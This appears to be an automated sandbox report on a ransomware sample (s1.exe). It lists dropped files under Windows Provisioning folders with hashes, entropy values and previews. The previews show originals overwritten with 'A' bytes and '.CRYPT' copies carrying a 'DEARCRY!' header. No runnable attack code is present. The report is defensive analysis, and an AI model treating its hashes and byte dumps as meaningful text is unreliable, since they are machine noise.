                                                              Preview: DEARCRY!....._......q..!...w.&.[`..{..h.D.OK{.....W.b..=Y..C!...i...f..K.&........V/hu...,.Zu=.+-e@..'R..?:..f..&..A.d..."...ib.4...&.-J[..I.F..._M8[.b...z..h).....0.^.J.K.t#C.y.|.Rr..0(F8..#.a..o.g.m..s.:H....F.C..\.....*.S...S.z.i.t..ayr...S..j..#.O9C.............?..|...FK7@..,.cn.W.a..*..~3.E'.5r.%...;^..^Dt. X..Y.....P.O.....;1..f\..a. <$71..Z=..>yR.&.O^>...P.....I..[.k".q...eY9.s.&n.&.U.ZoQaE..4.......~...%.....>...sT...".@.N.:Z...j.<...3..D.h.&5...nj.dq7(..Y.......a.....X.w....[d......(J...#.d.x7D.1...U....3~...3...%.......,\.n7.....E.H...$)..hZ.......>......x?N.l.a.zt....K:,...U}......s(...... Y.*d...1.8.....TD[.q..D..O0.~....s...;.=....#.V..nZO.).#.a.<=..d(....4G...".s..-.......B`.U.E..iz...g..2v$..[.$..&..-...P.#.%#.*.KC......f..[....Zy.A.L....'~M.N.N,mnd.x.B......t....`?uP.m.E..-.Z;......X...r...G.}Q;j...@Yz..c.~Hbe.n..#Q_....x.0......=..*.....#M.\.:......ka.,b..H...Z...a..*..n...[....q..MH.V..O..:.......^7*..~.9...h.....|
                                                              C:\ProgramData\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.596671594518739
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1283146F19A2B95AC2F3EC6C7820EFDF
                                                              SHA1:9FD5409BE4C48AEE13E861F5B3A4446DEC98E317
                                                              SHA-256:5F7D6A43CBB72CE15AEBA46FA46C195DD4A6846A75B6E48F250239673B53320F
                                                              SHA-512:9DE965F685B6E31AACBDAFDA415AECF9BC7B46ECAC18A3C1EF517361D00A73CFC40287670AE0F614D9B3048BB7AEE22F227D406F62EC73D7CFA521CB1392920A
                                                              Malicious:false
                                                              Preview: DEARCRY!....gS..c.q...:.$.........?...jr...F{I`"..A..OT.....I..|._s...<.p...k.~.....!......~.k&..|.}.g...r../...w...A...BI8d.nn.....-."..[.....Q(.\=...s^.o..$...pu.P.D..Q...,....I[PQ.H..d0s.,@g.....,`gU.......n7.(D.\....S..,.._dZV..[.....B...g.'T.I...27.................-.j.f.../.;0.....z}.1.........`.Qz..\x.|..}*a..a.....gp.......F,.%.>.,0L......8.j19..2...=d).5.r^'..?.,?...>=.4H.lL.(X.A.q..Aj.KY.4...`.............#..W.r.x.`}....b.-7..!...vZ.....K<..#.M.z.'...i...v......;#U<V).4......E~i>U :..J..a.....0*.N.9..#..3..[..j
                                                              C:\ProgramData\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):546
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:49224D5DFB6D3B9B7B952DFD28B21BCB
                                                              SHA1:C836577A0243C582748F10C1AA4D741871A9AC78
                                                              SHA-256:49904C9994AB1D3A192F23EF5667DB119D3D6F48BD9508ED05A3FFA68E213888
                                                              SHA-512:30BEFAB6AA78DC3DD28D126822CBD954AA3479EF3E843CE49E4AB61FE6671DD5694C8089A32F0630D14400D6A8939EC8CF83FD6240D255851E9A0B637B30D396
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):840
                                                              Entropy (8bit):7.677482574499828
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3283B46B2349AF84F06BA957AD462A91
                                                              SHA1:03889EAC070D160DD83EDEC586B2B7964336D974
                                                              SHA-256:CD8E4DE6D578B587DBE8313B1CA3EDEC75F5FFB4EE58697C35885982E2037C47
                                                              SHA-512:55A1BAC403B4C2905E4E2E511703DE613CDDE2133132023A5EFBA80D9FA0EC58E8BDB9F2798456093C34BAF353158C14F9083CA3B60B09277C3E43D47F92E635
                                                              Malicious:false
                                                              Preview: DEARCRY!........-"L...6.^....a.JkS.7..#E&.'.#...7z1.$`..fj..1..e....Z%0....U)..%...C..}!U..A..N..[?..l.-#...e...N@w4I^Y..A......p..q.)..'e^.\...A.?....I..M..!|X.e...o...].......o.@...3......@.c{..y...s%...w..t.H..4...b..A........;yh.....:.Q....".......{.[........^.V./x?.F9...^.-9i....9f.>.D...J.=. ... .9....55th.i....X.K...@]w.K.......1x.M..Qdo.m...[....~.u....%)..IU... ;.=...^.Yl.4.|./..;Y.).}.._.Rv.7...f.M..;..-\.....T.... g...`z..G...D....E..U<......h.....Q..P.[.S.?;..Y..8a.:.bZ.~6).......|8Y.^....D;.p..x.+.. .m^Z+{:.@5VKh@P.L}.xvbp.9.F..0].$"Sn..."..?6.....$c'6...5....?.l'........!v..;l.G.'.7"I".6.O.Qf,.c..!{..7...MIS.R.E.!z..!i...q..Q1.{..[k[~.....;.;..3.u$!.'..+j....v ..7......z....3'..+.....BU.j..e._...8^.KK.'..V[.t...y.....:.......*..d69...#fR..O...QE\)../....T.]o.....
                                                              C:\ProgramData\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1659
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:017AA137B1B4C765DB5A74CB3AB94C4B
                                                              SHA1:2F40DD0A2F9C63F59A0A8E0462C617E80FF00BA7
                                                              SHA-256:0D472C73646F41C0995D6B6DE2FE1B8EB8E4CFF21043596E7AC44738FF45109B
                                                              SHA-512:F1DE8A923E48F23B0F5E9A63D655F25770AC2C01AA496B55B8FA28063862261024B15B8141283DABBB42A328E4C3334FF73753DA0FB5F2ECADFC8A1B86C3BB60
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1944
                                                              Entropy (8bit):7.896072676650263
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:53E7CD11E118259F35D7C6D1E6894F2D
                                                              SHA1:EDA94A6D24382B28FFA9448E25EDC644E438B8A5
                                                              SHA-256:71A1CE3476E0417C9FD4653362B6C067AC7174D1D209D657CD47377542439AE5
                                                              SHA-512:8494B3565787033EAB3B713FCB562A415FC702D3C3CC640F3936C1B24452527C50321C4E6A3301A7FB2D656241AB8CF19E30A0CF80A6581AA094CB4756C939F7
                                                              Malicious:false
                                                              Preview: DEARCRY!............6M..b.....1!.S%:......h#..W..x..m.DERfj.. ..1.y.........g....^..F =9A........E3,.?....D..X.,.._....Gi&Lf.#.A.g..s/.t0...._.Rl.=:....g...NP.......C[_r.k......jB.M......Vb.+..zd.oq.z...h.s......W.<.A.w...~.6./..A.!.p.......=. H.1..?.d.yY ....{.............^.U$*...fy%g..0...=.|........`.....j.,......1D.....u2...B.s.-..m..Y.."_NXVo..\.v..Z...(K.z~...|..`.O...=.c?...g5...p.6W..r............j..f'..r.rB..!us.A.s,.|.k./....D....(....F.....:..I.[l.e.j...VUcS....3.W....#).U..Q[./.J.....~{..0.JyYs......+.7g...]].S..Pz.\.v......=Dp.....O.RYP.<.5.l..j.5...p.+qid..e.qE.i.m..0_...e<][&h.......j..<.....0..]....[ Sy_.}...+.......;.r._.'Y.}.3....owa...c.C...t.g....."..k.H.......k.......bqv.!b..7..x.S .Q.7}c&M..o.U.4%2...OU..8..Pj.UQ..l..+pr.U.w.Vy.j=.Q*K>....%.uy..a..p..t.W..rq....A...}...8.m.....78...h...@&..yY.k..?..s..U....)....t4.......j~<.9.......lIh......qGG.#n..}u..e..Bj..<N.Ff6.Ts..Je...c~^...T.....h.2..._.@A..`.dI..~.....P.M
                                                              C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.555371249061252
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FEE4F76C9D250C88F09B8C6A41AA5342
                                                              SHA1:FF7FAAA86D3CF620D0F46F5DC8153460730E255C
                                                              SHA-256:6A07EF2107154151AB4CDB349B3771EDE300FC3C206EC260075FE6C87B994997
                                                              SHA-512:4EF87E695AC74251B73BD85EDE88A4F64DC7DFD46DE0AB3225E066F1157C025CFFBA71C48CD6D1F45B9544AAEB7191B3AC64089267122E7FE1D45EC81E1A837B
                                                              Malicious:false
                                                              Preview: DEARCRY!........bG.^.O..>.at.zB....w.{%.m.a.:.....)../...Z.@/%.pI..bA..._......@...t.aR.6.$P.5!.]..$+...t.XX...VL.....x...Pr....N,.G..9...#q.c..m.].;.!T......yBOQ.h............0..gmG.u.l"..)s..QJk.4.".u.S.....I...%..8>.n,.5....U..p...p...{./.6T.<.p...............5D..$!z.r4\1..{......a..X....<....#...5..iI...{.....s.G.m92...q..uE}q.I.]"V.y.......b.......G@[.../.......Y.../MY......W(|.d4..tV^.hg...M..Px;.........cX..C...oVg..d..N;...p...<.N..y7.Gr.$....!.^vp...2v..^..d.4..*..s.'..9.......4l..D....$....#;.T..!.p;>k..X
                                                              C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):422621
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7D7D7EE2CF43AC61303EF356BF14539D
                                                              SHA1:7422C43E062361509F08E991B7854C89E32673F3
                                                              SHA-256:AF4ADE69475657C0DBF8D74A1907AB800F021C0EA47B2588198D25CF69E50BA9
                                                              SHA-512:337C88F347033502F4F807EF71A53870A526DCB1444D3B996FB3B34CE7E6115DC31B0C8020B761502A9FE12143947E125A7D830F3C06F47C3C856FF02FD1DD68
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):422904
                                                              Entropy (8bit):7.999611460663485
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:42EE78B9C9DA358ACC28CBEB01B7D4DC
                                                              SHA1:A00CADAEC5C7D92C5C6C47B7629BF73CF0EA376E
                                                              SHA-256:5871D3560733104BAB155AA6024A90BF5E85595137F54DE83D9E73459E5EE8F6
                                                              SHA-512:A57BCA05065C8A92976868DF7996797422FF51081CAC44A92C7F3B94A7C00E0D32E39A145ECC5A5366C2591B8E3FAF16D7EB64972EF6DBFEB49A68913283CEC7
                                                              Malicious:true
                                                              Preview: DEARCRY!........3k...a...^.F.5.6R..r.WV..;.......5y.q...3..I_..t|.O..cj........e.4.%Z..Z/.(....O.jR.k.J....9U|/..h>._.Z..E=".Z.W..R... .............#Z:u.U.'..K.q....X.apN.:.e.1._.|.....z.S..4...O.q.3..w*..KBy.y. {..)..Y#&MN.1%+/.W....!..v_.*..3.WQ..f.U.......r............5...............5#.!E..r....."N.....Gm...&....Gb...M.....i...q..$...5...........]A.D.W.9B..!.(uW....|.iS.?...O.a7|.!o..Y..V...9....... ....yGb.I.....eZ.G..a..c..'.0.e.s.i..q'zQ.Q.i.o[.....b4A..R...<3...$6.jEa......H.U2.@...?...v...K..B......E..mTh..@p....[.bz...p.....:..5.j".j.q...#l..h..k.A.}8.P..E]=wS..c._..#j...`......s..@((...f.<,F..q.r........u...'.0e.....Yf`.@.rBx....c.D$.....^o.....VmR...\c..=.......CO.M.....]............,,..l.1"*8....>. Z.((...Z.=.#.4....].).#....v...&..7...`epS+.1...k .*...._1H.Q....P.+.VpgU.C7...r8....JD ......8..3..i.8........U..Y..J.61......YC8..R...4.'.|...Y\.x`..+.MO....fd...x..H..v(.EB.m..T..L..s.....a.S...j.\..0k.._....f..t.0..w...xi....".L........
                                                              C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):673873
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:373C73B4B73AF982F7C8AB948622840B
                                                              SHA1:17404B9E67B5D49E57009AF52AB1886FF4736F92
                                                              SHA-256:BE84A3A8B41308515D9D725E6FDE9DAD29AD98827050E0B8F6EF743FA5D2730A
                                                              SHA-512:28C244AD95C7D2DE2F8B09B43361A1CB33CBCF06131FA5A39EF56EF1E1FDF83AA30B4E4394CFFE35FA773A9A73D5FBBD51C5C7947C04DC1025642B192325FD39
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):674168
                                                              Entropy (8bit):7.999708534549306
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7E9080DF1B8DE826F07E9B953490B2BE
                                                              SHA1:A8DE600D8BD83CA52F1284CA6C648151F1A4FC74
                                                              SHA-256:6A43926A343D91E733DC47504593010A23B89F28471B365A2E3BE64380A8D58D
                                                              SHA-512:960C3D92A70B758C4FC10396A4A3CC185D649F1289A9B18A5F23ADD81108C8EE56BAA031C044B2160351013FF348D2DD6B01AAC742233EBF0FCE2773F70F3718
                                                              Malicious:true
                                                              Preview: DEARCRY!....%...J...@/...U...|...M.....uy.0...$Jk..;..L#+..z..:.,<....n-21j.....-<....+.(.2..`u.r..m....s...YZ*Y{q.Qi...\N.2.nQ6~.\.Ta....8a.+..{...[.A:...e.8.G.;.G..h...W.4..K.......0..;...3D.....9...I.......\.'....lX.....W.v..3..V.+.B.i..~...hW..w..s..........QH......i.....|.....C..N./...*^.....]8.l.a..I.6...cu....}.../~^..\V......14..(H6c..[..7...K..6.#....D:.....#.r, .[.7e.S.T..'L\...h].:..!.w..JE...Z.QmJR-...c7.V.O........G).Xd.....p.g.z._.D..6.vP.ha.C.........f.y..;(\.~.Ir...q..>...+o}. @MD.6F...=7. .. ..*....A.......Q.Tn..()....`..*.w.B.ny.P..8.A.I..lfT.eB.k4...6.i;.....+:...B......F......H..!VC..5...A...c4.OO.29... %.. D=..C.'>..n]....vz..I.O.@..V.....m...Q.o...Ag.z4Wf"X.w.2..d.O..x......GR8J7].....KTx...I.]..MA..\<....1+.=M.......YQK.N36..T.@&.;..s..M@..VG.!!gsL..$.._n..a....A....c..b3.....{e)....Mt.[Ev.,._..+A.y.].....r.~Kn:.nZ..$D.F".L..a$W.....o...f.......SC..(k....I<h..E.b..*.VA...6M4j.....t.`Zs.~....L......q.s.....{o./$.R.....J..I.....
                                                              C:\ProgramData\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.496890167938519
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:48A39E6F4C6E87CCF709FE193E2D6646
                                                              SHA1:092EC20DF05E881AAF9F19A94F34EE75E62DFC82
                                                              SHA-256:F99DCC6B43875E0E2C1700114A46889BE6E1BBE6F114758B23455B60B6A13BF1
                                                              SHA-512:E1466AA0C6796BC25E0FC2BCE53C0F3B87AD7466F52966A156AE94AB5BAFA2B504C85619F06A8D35A8D09A5E78D5C88B5BD19AC8916D93594B091C653FF834CA
                                                              Malicious:false
                                                              Preview: DEARCRY!....[.V..@R.``.C....g+%.;...6....B.W/&5Y..>..V.....{b......#.....o.}l.,"...[.....u.L<..^q./.6^..~.."....!YmGV<...~..8....]...T.^0.t3.....P...J...nX.L..9L{..N%y~.B..}..&."W\...o.g`..!.k...t,q.#n.B.....*..m..g.(..RpV.3A.].\z.p..W...c.....x.3T.............Bw...x...N%b...(.PbB.^s.n.s.t...-2.H..9F.j.........l.Y.....`p..-...b..~..-9....Z.3..p.......yJ..4Sv.U....c.no{^.f}Tv<...y......]0..,]$.E.n.W^>z..;...@........r-.!..U.,.._......Wv.W.5t......,.XJ4....L..8# .vt.=._&.Z..E.xw.>tiN..B..<..>,.T5.I6L."......I..w5..H...
                                                              C:\ProgramData\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):460
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CC55898E3C4E96553B7795BC7538F072
                                                              SHA1:0BAE21B29367C7209237ABE462E7C6D013E2CA78
                                                              SHA-256:828798A87DA42AA928A85E9CAFFE6ED3C1D89FF615D5692146EE6571C78E8947
                                                              SHA-512:B17E6223F3114530529A4BCAE4CC15DB5EA4283AE99976173FF69F77DB6B1FF7CB1D2F6C1668210D5534DDBFFBAE44B702D9CCF9145EFB1AA5ED5F1ACF286117
                                                              Malicious:false
